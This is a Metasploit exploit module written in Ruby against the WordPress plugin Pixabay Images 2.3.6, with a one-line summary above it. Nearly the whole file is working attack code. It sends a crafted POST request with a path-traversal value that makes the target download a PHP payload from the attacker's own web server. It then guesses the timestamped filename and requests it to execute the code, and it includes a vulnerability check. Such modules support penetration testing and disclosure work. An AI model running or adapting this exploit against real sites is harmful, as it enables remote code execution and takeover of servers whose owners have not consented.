This Metasploit module exploits multiple vulnerabilities in the WordPress plugin Pixabay Images version 2.3.6. The plugin does not check the host of a provided download URL which can be used to store and execute malicious PHP code on the system.
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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
include Msf::HTTP::Wordpress
Rank = ExcellentRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress Pixabay Images PHP Code Upload',
'Description' => %q{
This module exploits multiple vulnerabilities in the Wordpress plugin Pixabay
Images 2.3.6. The plugin does not check the host of a provided download URL
which can be used to store and execute malicious PHP code on the system.
},
'Author' =>
[
'h0ng10', # Discovery, Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://www.mogwaisecurity.de/advisories/MSA-2015-01.txt'],
['OSVDB', '117145'],
['OSVDB', '117146'],
['WPVDB', '7758']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [['pixabay-images 2.3', {}]],
'DefaultTarget' => 0,
'Payload' =>
{
'DisableNops' => true,
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'DisclosureDate' => 'Jan 19 2015'
))
register_options(
[
OptInt.new('TRIES', [true, 'Number of guesses if initial name guess fails', 5]),
OptInt.new('DEPTH', [true, 'Traversal path until the uploads folder', 4])
], self.class)
end
# Handle incoming requests from the server
def on_request_uri(cli, request)
print_status("URI requested: #{request.raw_uri}")
send_response(cli, payload.encoded)
end
# Create a custom URI
def generate_payload_uri
"#{get_uri}.php"
end
def call_payload(file_name)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', file_name)
}, 3)
res
end
def exploit
unless wordpress_and_online?
fail_with(Failure::NoTarget, "#{peer} - #{target_uri} does not seeem to be Wordpress site")
end
print_status("#{peer} - Starting up web service...")
start_service
payload_uri = generate_payload_uri
vprint_status("#{peer} - Using URI #{payload_uri}")
random_file_name = rand_text_alphanumeric(rand(5) + 5)
post = {
'pixabay_upload' => rand_text_alphanumeric(rand(5) + 5),
'image_url' => payload_uri,
'image_user' => rand_text_alphanumeric(rand(5) + 5),
'q' => "#{'../' * datastore['DEPTH']}#{random_file_name}"
}
print_status("#{peer} - Uploading payload #{random_file_name}...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_backend),
'vars_post' => post
})
stop_service
unless res && res.code == 200 && res.headers['date']
fail_with(Failure::Unknown, "#{peer} - Upload failed or unable to guess the system time...")
end
server_epoch_time = DateTime.strptime(res.headers['date'], '%a, %d %b %Y %H:%M:%S GMT').to_i
print_status("#{peer} - Calling payload...")
datastore['TRIES'].times do |i|
payload_name = "#{random_file_name}_#{server_epoch_time + i}.php"
res = call_payload(payload_name)
if (res && res.code == 200) || session_created?
register_files_for_cleanup(payload_name)
break
end
end
end
def check
res = wordpress_and_online?
unless res
vprint_error("#{peer} - It doesn't look like a Wordpress site")
return Exploit::CheckCode::Unknown
end
# Send a request with a illegal URL to verify that the target is vulnerable
post = {
'pixabay_upload' => rand_text_alphanumeric(rand(5) + 5),
'image_url' => rand_text_alphanumeric(rand(5) + 5),
'image_user' => rand_text_alphanumeric(rand(5) + 5),
'q' => rand_text_alphanumeric(rand(5) + 5)
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_backend),
'vars_post' => post
})
if res && res.body && res.body.to_s =~ /Error: A valid URL was not provided/
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
end